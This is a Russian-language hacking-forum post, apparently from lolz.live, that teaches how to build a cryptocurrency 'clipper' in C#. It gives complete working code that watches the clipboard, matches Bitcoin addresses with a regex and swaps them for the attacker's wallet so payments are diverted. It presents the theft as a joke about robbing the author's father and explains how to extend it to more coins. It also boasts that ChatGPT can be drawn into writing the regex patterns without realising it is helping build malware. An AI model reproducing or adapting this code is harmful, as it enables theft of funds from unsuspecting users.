Фри крипт: https://lolz.live/threads/7133100/ Всем читающим хай сегодня будем учиться пиздить последнюю криптовалюту на компе нашего бати крипто миллионера (жалко его нету) для начала разберемся что такое "клипер" клипер программа которая мониторит буфер обмена на различные адреса крипто кошельков, при этом если он находит адрес он его заменяет на наш адрес и когда батек хочет перевести 5 юсдт бабке с соседнего магаза за водку то происходит магия и usdt улетает нам, а батек остается трезвый Profit и так приступим в первую очередь нам нужно создать два метода для получения и замены наших данных с буфера обмена internal class Clipboard { public static string GetText() { var returnValue = string.Empty; try { var staThread = new Thread( delegate () { returnValue = System.Windows.Forms.Clipboard.GetText(); }); staThread.SetApartmentState(ApartmentState.STA); staThread.Start(); staThread.Join(); } catch { } return returnValue; } public static void SetText(string text) { var staThread = new Thread( delegate () { try { System.Windows.Forms.Clipboard.SetText(text); } catch { } }); staThread.SetApartmentState(ApartmentState.STA); staThread.Start(); staThread.Join(); } } CSHARP internal class Clipboard { public static string GetText() { var returnValue = string.Empty; try { var staThread = new Thread( delegate () { returnValue = System.Windows.Forms.Clipboard.GetText(); }); staThread.SetApartmentState(ApartmentState.STA); staThread.Start(); staThread.Join(); } catch { } return returnValue; } public static void SetText(string text) { var staThread = new Thread( delegate () { try { System.Windows.Forms.Clipboard.SetText(text); } catch { } }); staThread.SetApartmentState(ApartmentState.STA); staThread.Start(); staThread.Join(); } } с функциями и так все понятно GetText получает наш буфер обмена в виде текста SetText заменяет его на наш текст и так получили мы этот буфер обмена, как же теперь понять что это адрес криптокошелька или простой текст с ссылкой на гифки доброе утро для этого нам понадобиться Regex и паттерны по которому он будет определять есть ли в тексте криптокошелек возьмем за основу паттерн Биткойна, вы можете собрать целый их список но мне лень по этому наш клипер кроме битка нехера не сможет подменять вот он наш паттерн "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$" вы спросите, а как он работает, а я отвечу только поверхностно что это набор условий например как там написано bc1, это значит если в начале текста будет этот самый bc1 то дальше идем по условиям и тп ну а теперь чтоб вечно мониторить буфер обмена нужно сделать бесконечный цикл либо рекурсивный вызов если вы извращенец как и я ну и так же добавить немного задержки в наш поток чтобы клипер не стал майнером static void Main() { string Pattern = "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$"; string Adress ="bc1zalupablockmadeinchina34"; while(true) { string TextClip = Clipboard.GetText(); if (new Regex(Pattern).Match(TextClip).Success) { //и так если совпадение найдены //проверяем если нету нашего кошелька в буфере обмена if(Adress != TextClip) { //то тогда благополучно меняем его на наш кошелек Clipboard.SetText(Adress); } } Thread.Sleep(1000); //задержка на одну секунду, уберешь и твой батя даст атата за то что майнер запустил } } CSHARP static void Main() { string Pattern = "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$"; string Adress ="bc1zalupablockmadeinchina34"; while(true) { string TextClip = Clipboard.GetText(); if (new Regex(Pattern).Match(TextClip).Success) { //и так если совпадение найдены //проверяем если нету нашего кошелька в буфере обмена if(Adress != TextClip) { //то тогда благополучно меняем его на наш кошелек Clipboard.SetText(Adress); } } Thread.Sleep(1000); //задержка на одну секунду, уберешь и твой батя даст атата за то что майнер запустил } } ну вот и все а для большого количества поддерживаемых адресов достаточно сделать двумерный массив с паттернами и вашими адресами а ну и да chatgpt может генерить паттерны не подозревая того что помогает писать вредонос) #моястатья